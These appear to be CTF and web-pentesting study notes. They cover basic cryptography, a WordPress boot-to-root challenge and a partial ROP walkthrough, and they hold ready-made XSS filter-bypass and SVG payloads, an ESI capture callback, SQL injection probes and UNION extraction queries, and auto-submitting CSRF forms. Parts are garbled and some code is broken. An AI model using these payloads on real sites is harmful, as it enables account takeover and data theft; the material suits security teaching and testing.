+>>> decrypted = ''.join([chr(ord(x) ^ ord(key)) for x in encrypted])
+>>> decrypted
+'CAPTURETHEFLAG'
+
+This can be extended using a multibyte key by iterating in parallel with the data.
+Single Byte XOR Encryption is trivial to bruteforce as there are only 255 key combinations to try.
+Multibyte XOR gets exponentially harder the longer the key, but if the encrypted text is long enough, character frequency analysis is a viable method to find the key. Character Frequency Analysis means that we split the cipher text into groups based on the number of characters in the key. These groups then are bruteforced using the idea that some letters appear more frequently in the english alphabet than others.
+A Substitution Cipher is system of encryption where different symobls substitute a normal alphabet.
+ +The Caesar Cipher or Caesar Shift is a cipher which uses the alphabet in order to encode texts.
+CAESAR` encoded with a shift of 8 is `KIMAIZ` so `ABCDEFGHIJKLMNOPQRSTUVWXYZ` becomes `IJKLMNOPQRSTUVWXYZABCDEFGH
+
+ROT13 is the same thing but a fixed shift of 13, this is a trivial cipher to bruteforce because there are only 25 shifts.
+ +A Vigenere Cipher is an extended Caesar Cipher where a message is encrypted using various Caesar shifted alphabets.
+The following table can be used to encode a message:
+For example, encrypting the text SUPERSECRET
with CODE
would follow this process:
CODE
gets padded to the length of SUPERSECRET
so the key becomes CODECODECOD
SUPERSECRET
we use the table to get the Alphabet to use, in this instance row C
and column S
U
UISITGHGTSW
C
U
S
SUPERSECRET
Hashing functions are one way functions which theoretically provide a unique output for every input. MD5, SHA-1, and other hashes which were considered secure are now found to have collisions or two different pieces of data which produce the same supposed unique output.
+A string hash is a number or string generated using an algorithm that runs on text or data.
+The idea is that each hash should be unique to the text or data (although sometimes it isn’t). For example, the hash for “dog” should be different from other hashes.
+You can use command line tools tools or online resources such as this one. Example: $ echo -n password | md5 5f4dcc3b5aa765d61d8327deb882cf99
Here, “password” is hashed with different hashing algorithms:
Generally, when verifying a hash visually, you can simply look at the first and last four characters of the string.
+A file hash is a number or string generated using an algorithm that is run on text or data. The premise is that it should be unique to the text or data. If the file or text changes in any way, the hash will change.
+What is it used for? - File and data identification - Password/certificate storage comparison
+How can we determine the hash of a file? You can use the md5sum command (or similar).
+$ md5sum samplefile.txt
+3b85ec9ab2984b91070128be6aae25eb samplefile.txt
+
+A collision is when two pieces of data or text have the same cryptographic hash. This is very rare.
+What’s significant about collisions is that they can be used to crack password hashes. Passwords are usually stored as hashes on a computer, since it’s hard to get the passwords from hashes.
+ +If you bruteforce by trying every possible piece of text or data, eventually you’ll find something with the same hash. Enter it, and the computer accepts it as if you entered the actual password.
+Two different files on the same hard drive with the same cryptographic hash can be very interesting.
+“It’s now well-known that the cryptographic hash function MD5 has been broken,” said Peter Selinger of Dalhousie University. “In March 2005, Xiaoyun Wang and Hongbo Yu of Shandong University in China published an article in which they described an algorithm that can find two different sequences of 128 bytes with the same MD5 hash.”
+For example, he cited this famous pair:
+ +and
+ +Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.
+Selinger said that “the algorithm of Wang and Yu can be used to create files of arbitrary length that have identical MD5 hashes, and that differ only in 128 bytes somewhere in the middle of the file. Several people have used this technique to create pairs of interesting files with identical MD5 hashes.”
+Ben Laurie has a nice website that visualizes this MD5 collision. For a non-technical, though slightly outdated, introduction to hash functions, see Steve Friedl’s Illustrated Guide. And here’s a good article from DFI News that explores the same topic.
+RSA, which is an abbreviation of the author's names (Rivest–Shamir–Adleman), is a cryptosystem which allows for asymmetric encryption. Asymmetric cryptosystems are alos commonly referred to as Public Key Cryptography where a public key is used to encrypt data and only a secret, private key can be used to decrypt the data.
+If public n, public e, private d are all very large numbers and a message m holds true for 0 < m < n, then we can say:
+++(me)d ≡ m (mod n)
+
The triple equals sign in this case refers to modular congruence which in this case means that there exists an integer k such that (me)d = kn + m
+RSA is viable because it is incredibly hard to find d even with m, n, and e because factoring large numbers is an arduous process.
+RSA follows 4 steps to be implemented: 1. Key Generation 2. Encryption 3. Decryption
+We are going to follow along Wikipedia's small numbers example in order to make this idea a bit easier to understand.
+In This example we are using Carmichael's totient function where λ(n) = lcm(λ(p), λ(q)), but Euler's totient function is perfectly valid to use with RSA. Euler's totient is φ(n) = (p − 1)(q − 1)
+Now we have a public key of (3233, 17) and a private key of (3233, 413)
+With the public key, m can be encrypted trivially
+The ciphertext is equal to me mod n or:
+c = m^17 mod 3233
+With the private key, m can be decrypted trivially as well
+The plaintext is equal to cd mod n or:
+m = c^413 mod 3233
+From the RsaCtfTool README
+++Attacks:
++
+- Weak public key factorization
+- Wiener's attack
+- Hastad's attack (Small public exponent attack)
+- Small q (q < 100,000)
+- Common factor between ciphertext and modulus attack
+- Fermat's factorisation for close p and q
+- Gimmicky Primes method
+- Past CTF Primes method
+- Self-Initializing Quadratic Sieve (SIQS) using Yafu
+- Common factor attacks across multiple keys
+- Small fractions method when p/q is close to a small fraction
+- Boneh Durfee Method when the private exponent d is too small compared to the modulus (i.e d < n0.292)
+- Elliptic Curve Method
+- Pollards p-1 for relatively smooth numbers
+- Mersenne primes factorization
+
A wiser once said: "every number can be factored to the sum of primes."
+Try to factor the number and find me some flag.
+Checkpoint: what's the first 20 numbers in f(pow(10,6))? Find those numbers and gain 2 points.
+Hint: try to convert enc into the binary.
+ +Some oracle can get you LSB and help solve the challenge. Now break the number N with the GCD Oracle.
+Byte
+The number N has 8 bits at most. Oracle can give you 10 times of response and then you should give the value of N.
+Solving this gives you the checkpoint for 2 points. But you can directly solve the second question and get 4 points.
+nc ali.infury.org 10008
Full
+The number N has 512 bits at most. If you solve this, don't need to solve the previous question.
+Hint: you may need a script to solve the second question.
+nc ali.infury.org 10007
A modern public key encryption requires a key pair of 512 bytes usually. Sometimes I just confused about the private key. Therefore, I designed a "super secure" method to find me a private key.
+Hint: find a faster way to calculate the triangle.
+ + + + + + + + + + +According to @Hacktricks: https://book.hacktricks.xyz/
+In every pentest web there is several hidden and obvious places that might be vulnerable. This post is meant to be a checklist to confirm that you have searched vulnerabilities in all the possible places.
+https://owasp.org/www-project-top-ten/
+Nowadays web applications usually uses some kind of intermediary proxies, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend.
+Most of the web applications will allow users to input some data that will be processed later. +Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply.
+If the introduced data may somehow being reflected in the response, the page might be vulnerable to several issues.
+Some of the mentioned vulnerabilities requires special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in:
+Reflecting Techniques - PoCs and Polygloths CheatSheet
+javascript:
protocol?<script>
tag?In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.
+When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.
+If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script
... these are just some of the many possible HTML tags you could use.
+Also, keep in mind Client Side Template Injection.
If your input is reflected inside the value of the attribute of a tag you could try:
+"><img [...]
>
is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
"
is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick=
you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href
, where you can use the javascript:
protocol to execute arbitrary code: href="javascript:alert(1)"
accesskey
trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="
In this case your input is reflected between <script> [...] </script>
tags of a HTML page, inside a .js
file or inside an attribute using javascript:
protocol:
<script> [...] </script>
tags, even if your input if inside any kind of quotes, you can try to inject </script>
and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script>
tag is inside the HTML code.'-alert(1)-'
';-alert(1)//
\';alert(1)//
you can **embed JS expressions** using `${ ... }` syntax:
var greetings =`Hello, ${alert(1)}```There is JS code that is using unsafely some data controlled by an attacker like location.href
. An attacker, could abuse this to execute arbitrary JS code.
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md
+These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
+Some examples:
+https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+https://github.com/carlospolop/hacktricks/blob/master/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md
+When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse <
to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
+For this cases also keep in mind Client Side Template Injection.
+Note: A HTML comment can be closed using -->
or --!>
In this case and if no black/whitelisting is used, you could use payloads like:
+<script>alert(1)</script>
+<img src=x onerror=alert(1) />
+<svg onload=alert('XSS')>
+
+But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create. +Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
+Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
+If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus
attribute. In the XSS request, you need to end the URL with #
to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
+
+If some kind of blacklist is being used you could try to bypass it with some silly tricks:
+//Random capitalization
+<script> --> <ScrIpT>
+<img --> <ImG
+
+//Double tag, in case just the first match is removed
+<script><script>
+<scr<script>ipt>
+<SCRscriptIPT>alert(1)</SCRscriptIPT>
+
+//You can substitude the space to separate attributes for:
+/
+/*%00/
+/%00*/
+%2F
+%0D
+%0C
+%0A
+%09
+
+//Unexpected parent tags
+<svg><x><script>alert('1')</x>
+
+//Unexpected weird attributes
+<script x>
+<script a="1234">
+<script ~~~>
+<script/random>alert(1)</script>
+<script ///Note the newline
+>alert(1)</script>
+<scr\x00ipt>alert(1)</scr\x00ipt>
+
+//Not closing tag, ending with " <" or " //"
+<iframe SRC="javascript:alert('XSS');" <
+<iframe SRC="javascript:alert('XSS');" //
+
+//Extra open
+<<script>alert("XSS");//<</script>
+
+//Just weird an unexpected, use your imagination
+<</script/script><script>
+<input type=image src onerror="prompt(1)">
+
+//Using `` instead of parenthesis
+onerror=alert`1`
+
+//Use more than one
+<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
+
+Taken from the blog of Jorge Lajara.
+<svg/onload=alert``>
+<script src=//aa.es>
+<script src=//℡㏛.pw>
+
+The last one is using 2 unicode characters which expands to 5: telsr +More of these characters can be found here. +To check in which characters are decomposed check here. +More tiny XSS for different environments payload [can be found here and here.
+If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
+If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.
+Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload:
+<esi:include src="http://yoursite.com/capture" />
+
+Use it to bypass cookie restrictions, XSS filters and much more! +More information about this technique here: XSLT.
+If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. +So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
+https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+If you cannot inject HTML tags it could be worth it to try to inject PDF data:
+https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/pdf-injection.md
+Upload as an image a file like the following one (from http://ghostlulz.com/xss-svg/):
+Content-Type: multipart/form-data; boundary=---------------------------232181429808
+Content-Length: 574
+-----------------------------232181429808
+Content-Disposition: form-data; name="img"; filename="img.svg"
+Content-Type: image/svg+xml
+
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+ <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
+ <script type="text/javascript">
+ alert(1);
+ </script>
+</svg>
+-----------------------------232181429808--
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+ <script type="text/javascript">alert("XSS")</script>
+</svg>
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+<script type="text/javascript">
+alert("XSS");
+</script>
+</svg>
+
+https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection +http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list https://github.com/ismailtasdelen/xss-payload-list https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec +https://netsec.expert/2020/02/01/xss-in-2020.html
+Find some tools for XSS here.
+If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data.
+SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behaviour. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. (From here).
+In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.
+You may have found a site that is apparently vulnerable to SQLi just because the server is behaving weird with SQLi related inputs. Therefore, the first thing you need to do is how to inject data in the query without breaking it. To do so you first need to find how to escape from the current context. +These are some useful examples:
+ [Nothing]
+'
+"
+`
+')
+")
+`)
+'))
+"))
+`))
+
+Then, you need to know how to fix the query so there isn't errors. In order to fix the query you can input data so the previous query accept the new data, or you can just input your data and add a comment symbol add the end.
+Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.
+MySQL
+#comment
+-- comment [Note the space after the double dash]
+/*comment*/
+/*! MYSQL Special SQL */
+
+PostgreSQL
+--comment
+/*comment*/
+
+MSQL
+--comment
+/*comment*/
+
+Oracle
+--comment
+
+SQLite
+--comment
+/*comment*/
+
+HQL
+HQL does not support comments
+
+One of the best ways to confirm a SQL injection is by making it operate a logical operation and having the expected results.
+For example: if the GET parameter ?username=Peter
returns the same content as ?username=Peter' or '1'='1
then, you found a SQL injection.
Also you can apply this concept to mathematical operations. Example: If ?id=1
returns the same as ?id=2-1
, SQLinjection.
page.asp?id=1 or 1=1 -- true
+page.asp?id=1' or 1=1 -- true
+page.asp?id=1" or 1=1 -- true
+page.asp?id=1 and 1=2 -- false
+
+In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load. +Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
+MySQL (string concat and logical ops)
+1' + sleep(10)
+1' and sleep(10)
+1' && sleep(10)
+1' | sleep(10)
+
+PostgreSQL (only support string concat)
+1' || pg_sleep(10)
+
+MSQL
+1' WAITFOR DELAY '0:0:10'
+
+Oracle
+1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
+
+SQLite
+1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
+
+In some cases the sleep functions won't be allowed. Then, instead of using those functions you could make the query perform complex operations that will take several seconds. Examples of these techniques are going to be commented separately on each technology (if any).
+The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the sleep functions of the previous section or these ones:
+["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
+["connection_id()=connection_id()" ,"MYSQL"],
+["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
+["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
+["@@CONNECTIONS>0" ,"MSSQL"],
+["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
+["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
+["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
+["ROWNUM=ROWNUM" ,"ORACLE"],
+["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
+["LNNVL(0=123)" ,"ORACLE"],
+["5::int=5" ,"POSTGRESQL"],
+["5::integer=5" ,"POSTGRESQL"],
+["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
+["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
+["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
+["current_database()=current_database()" ,"POSTGRESQL"],
+["sqlite_version()=sqlite_version()" ,"SQLITE"],
+["last_insert_rowid()>1" ,"SQLITE"],
+["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
+["val(cvar(1))=1" ,"MSACCESS"],
+["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
+["cdbl(1)=cdbl(1)" ,"MSACCESS"],
+["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
+["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
+
+Also, if you have access to the output of the query, you could make it print the version of the database.
+A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
+If you can see the output of the query this is the best way to exploit it. +First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns. +Two methods are typically used for this purpose:
+Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
+1' ORDER BY 1--+ #True
+1' ORDER BY 2--+ #True
+1' ORDER BY 3--+ #True
+1' ORDER BY 4--+ #False - Query is only using 3 columns
+ #-1' UNION SELECT 1,2,3--+ True
+1' GROUP BY 1--+ #True
+1' GROUP BY 2--+ #True
+1' GROUP BY 3--+ #True
+1' GROUP BY 4--+ #False - Query is only using 3 columns
+ #-1' UNION SELECT 1,2,3--+ True
+
+Select more and more null values until the query is correct:
+1' UNION SELECT null-- - Not working
+1' UNION SELECT null,null-- - Not working
+1' UNION SELECT null,null,null-- - Worked
+
+You should use null
values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
+#Database names
+-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
+
+#Tables of a database
+-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
+
+#Column names
+-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
+
+There is a different way to discover this data on every different database, but it's always the same methodology.
+When websocket, post message or a form allows user to perform actions vulnerabilities may arise.
+ +Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. +This is done by making a logged in user in the victim platform access an attacker controlled website and from there execute *malicious JS code, send forms or retrieve "images" to the* victims account.
+In order to be able to abuse a CSRF vulnerability you first need to find a relevant action to abuse (change password or email, make the victim follow you on a social network, give you more privileges...). The session must rely only on cookies or HTTP Basic Authentication header, any other header can't be used to handle the session. An finally, there shouldn't be unpredictable parameters on the request.
+Several counter-measures could be in place to avoid this vulnerability.
+If a CSRF token is being used as defence you could try to exfiltrate it abusing a XSS vulnerability or a Dangling Markup vulnerability.
+<img src="http://google.es?param=VALUE" style="display:none" />
+<h1>404 - Page not found</h1>
+The URL you are requesting is no longer available
+
+Other HTML5 tags that can be used to automatically send a GET request are:
+ +<html>
+ <!-- CSRF PoC - generated by Burp Suite Professional -->
+ <body>
+ <script>history.pushState('', '', '/')</script>
+ <form method="GET" action="https://victim.net/email/change-email">
+ <input type="hidden" name="email" value="some@email.com" />
+ <input type="submit" value="Submit request" />
+ </form>
+ <script>
+ document.forms[0].submit();
+ </script>
+ </body>
+</html>
+
+<html>
+ <body>
+ <script>history.pushState('', '', '/')</script>
+ <form action="https://victim.net/email/change-email" id="csrfform">
+ <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
+ <input type="submit" value="Submit request" />
+ <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
+ </form>
+ <script>
+ document.forms[0].submit(); //Way 3 to autosubmit
+ </script>
+ </body>
+</html>
+
+<!--
+The request is sent through the iframe withuot reloading the page
+-->
+<html>
+ <body>
+ <iframe style="display:none" name="csrfframe"></iframe>
+ <form action="/change-email" id="csrfform" target="csrfframe">
+ <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
+ <input type="submit" value="Submit request" />
+ </form>
+ <script>
+ document.forms[0].submit();
+ </script>
+ </body>
+</html>
+
+Depending on the HTTP headers given by the web server some vulnerabilities might be present.
+ +There are several specific functionalities were some workarounds might be useful to bypass them
+Some functionalities will require the data to be structured on a very specific format (like a language serialized object or a XML). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data. +Some specific functionalities my be also vulnerable if a specific format of the input is used (like Email Header Injections).
+ +Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.
+Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
+In many occasions you can find some code in the server side that unserialize some object given by the user. +In this case, you can send a malicious payload to make the server side behave unexpectedly.
+You should read: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html for learn how to attack.
+Magic method used with serialization:
+__sleep
is called when an object is serialized and must be returned to arrayMagic method used with deserialization
+__wakeup
is called when an object is deserialized.__destruct
is called when PHP script end and object is destroyed.__toString
uses object as string but also can be used to read file or more than that based on function call inside it.<?php
+class test {
+ public $s = "This is a test";
+ public function displaystring(){
+ echo $this->s.'<br />';
+ }
+ public function __toString()
+ {
+ echo '__toString method called';
+ }
+ public function __construct(){
+ echo "__construct method called";
+ }
+ public function __destruct(){
+ echo "__destruct method called";
+ }
+ public function __wakeup(){
+ echo "__wakeup method called";
+ }
+ public function __sleep(){
+ echo "__sleep method called";
+ return array("s"); #The "s" makes references to the public attribute
+ }
+}
+
+$o = new test();
+$o->displaystring();
+$ser=serialize($o);
+echo $ser;
+$unser=unserialize($ser);
+$unser->displaystring();
+
+/*
+php > $o = new test();
+__construct method called__destruct method called
+php > $o->displaystring();
+This is a test<br />
+php > $ser=serialize($o);
+__sleep method called
+php > echo $ser;
+O:4:"test":1:{s:1:"s";s:14:"This is a test";}
+php > $unser=unserialize($ser);
+__wakeup method called__destruct method called
+php > $unser->displaystring();
+This is a test<br />
+*/
+?>
+
+If you look to the results you can see that the functions __wakeup
and __destruct
are called when the object is deserialized. Note that in several tutorials you will find that the __toString
function is called when trying yo print some attribute, but apparently that's not happening anymore.
Autoload Classes may also be dangerous.
+You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
+If for some reason you want to serialize a value as a reference to another value serialized you can:
+<?php
+class AClass {
+ public $param1;
+ public $param2;
+}
+
+$o = new WeirdGreeting;
+$o->param1 =& $o->param22;
+$o->param = "PARAM";
+$ser=serialize($o);
+
+Functionalities that allow to upload files might be vulnerable to several issues. +Functionalities that generates files including user input might execute unexpected code. +Users that open files uploaded by users or automatically generated including user input might be compromised.
+ +This vulnerabilities might help to exploit other vulnerabilities.
+ +In this challenge, you need to download the following virtual machine to finish the challenges.
+The box was created with Virtualbox
. Upon booting up use netdiscover
tool to find the IP address. This is the target address based on whatever settings you have. You should verify the address just in case.
You don't need to answer all questions in order. Skip some questions may not affect the next steps.
+Download: https://mega.nz/file/HxFXgIAT#PFjk8HV_ltXVh-Hz1D3xAXYc31GpmgTQeFfkKibn9Tc
+Mirror: https://pan.baidu.com/s/1mOZxE_XHgbSZR_yKTWQAbA (Code: 1337)
+Environment setup should use VirtualBox
history version (VirtualBox 6.1.28 has a bug with Hyper-V, I used VirtualBox 6.0.24 and worked properly). You should setup Network as the following:
While the Serial Ports setting as follow (Port Mode set to Disconnected
):
The virtual image should enter the following promption:
+Ubuntu 16.04.7 LTS ubuntu-xenial tty1
+ubuntu-xenial login: _
+
+Finding the IP address:
+Open you terminal (powershell.exe in Windows), and use ipconfig /all
to find your Host-only NET
ip address.
Use any tool to scan the ip 192.168.xx.0/24
and you can find the virtual machine ip address. Otherwise, you can also use arp -a
to find your Host-only Network
address, and usually VM's ip address is followed.
Open your web browser, you can find this page in VM's ip address:
+ +You are done with configuration, now you can hack the machine and solve the challenges!
+Upload a screenshot about the web page and the IP address would give 2 points.
+Using Nmap you can scan open ports of VM. Only port 80 is open and we can find a HTTP website. Using Gobuster or Dirb to scan the website directory, you may find a upload folder under the blogger.
+What's the URL of the upload folder?
+Answer: http://ip/******/*****/****/**********/*******/
(replace all stars to your answer)
Hint: kali wordlists for scanning: /usr/share/wordlists. If you don't have those files, it's fine to search a wordlist online.
+It's easy to find the blogger is using Wordpress. The version of the given blogger is vulnerable. What's the vulnerability name of the blogger?
+Answer: A******** F*** U*****
(replace all stars to your answer, needn't to be 100% the same)
Hint: look at the version of wordpress. Search in the exploitDB.
+Using the vulnerability, you can get a reversed shell. Besides, with some techniques, you can generate a pty shell. What's the name of users?
+Answer: u*****, j****, v******
(replace all stars to your answer)
Hint: users can be located in /etc/passwd or /home folder.
+Weak password is dangerous, using Hydra or other password cracker can easily break the weak password. Get the root privilege and find me root.txt
.
Answer: flag{****_****_***_**********_** **}
Hint: sometimes sudo can be vulnerable.
+ + + + + + + + +According to the @CTF101: https://ctf101.org/
+Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.
+As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwrite saved instruction pointers, giving us control over what the program does next. Most programs don't have a convenient give_shell
function however, so we need to find a way to manually invoke system
or another exec
function to get us our shell.
Imagine we have a program similar to the following:
+#include <stdio.h>
+#include <stdlib.h>
+
+char name[32];
+
+int main() {
+ printf("What's your name? ");
+ read(0, name, 32);
+
+ printf("Hi %s\n", name);
+
+ printf("The time is currently ");
+ system("/bin/date");
+
+ char echo[100];
+ printf("What do you want me to echo back? ");
+ read(0, echo, 1000);
+ puts(echo);
+
+ return 0;
+}
+
+We obviously have a stack buffer overflow on the echo
variable which can give us EIP control when main
returns. But we don't have a give_shell
function! So what can we do?
We can call system
with an argument we control! Since arguments are passed in on the stack in 32-bit Linux programs (see calling conventions), if we have stack control, we have argument control.
When main returns, we want our stack to look like something had normally called system
. Recall what is on the stack after a function has been called:
... // More arguments
+ 0xffff0008: 0x00000002 // Argument 2
+ 0xffff0004: 0x00000001 // Argument 1
+ESP -> 0xffff0000: 0x080484d0 // Return address
+
+So main
's stack frame needs to look like this:
0xffff0008: 0xdeadbeef // system argument 1
+ 0xffff0004: 0xdeadbeef // return address for system
+ESP -> 0xffff0000: 0x08048450 // return address for main (system's PLT entry)
+
+Then when main
returns, it will jump into system
's PLT entry and the stack will appear just like system
had been called normally for the first time.
Note: we don't care about the return address system
will return to because we will have already gotten our shell by then!
This is a good start, but we need to pass an argument to system
for anything to happen. As mentioned in the page on ASLR, the stack and dynamic libraries "move around" each time a program is run, which means we can't easily use data on the stack or a string in libc for our argument. In this case however, we have a very convenient name
global which will be at a known location in the binary (in the BSS segment).
Our exploit will need to do the following:
+name
system
's PLT entryname
global to act as the first argument to system
In 64-bit binaries we have to work a bit harder to pass arguments to functions. The basic idea of overwriting the saved RIP is the same, but as discussed in calling conventions, arguments are passed in registers in 64-bit programs. In the case of running system
, this means we will need to find a way to control the RDI register.
To do this, we'll use small snippets of assembly in the binary, called "gadgets." These gadgets usually pop
one or more registers off of the stack, and then call ret
, which allows us to chain them together by making a large fake call stack.
For example, if we needed control of both RDI and RSI, we might find two gadgets in our program that look like this (using a tool like rp++ or ROPgadget):
+0x400c01: pop rdi; ret
+0x400c03: pop rsi; pop r15; ret
+
+We can setup a fake call stack with these gadets to sequentially execute them, pop
ing values we control into registers, and then end with a jump to system
.
0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+ 0xffff0018: 0x1337beef // value we want in rsi
+ 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget
+ 0xffff0008: 0xdeadbeef // value to be popped into rdi
+RSP -> 0xffff0000: 0x400c01 // address of rdi gadget
+
+Stepping through this one instruction at a time, main
returns, jumping to our pop rdi
gadget:
RIP = 0x400c01 (pop rdi)
+RDI = UNKNOWN
+RSI = UNKNOWN
+
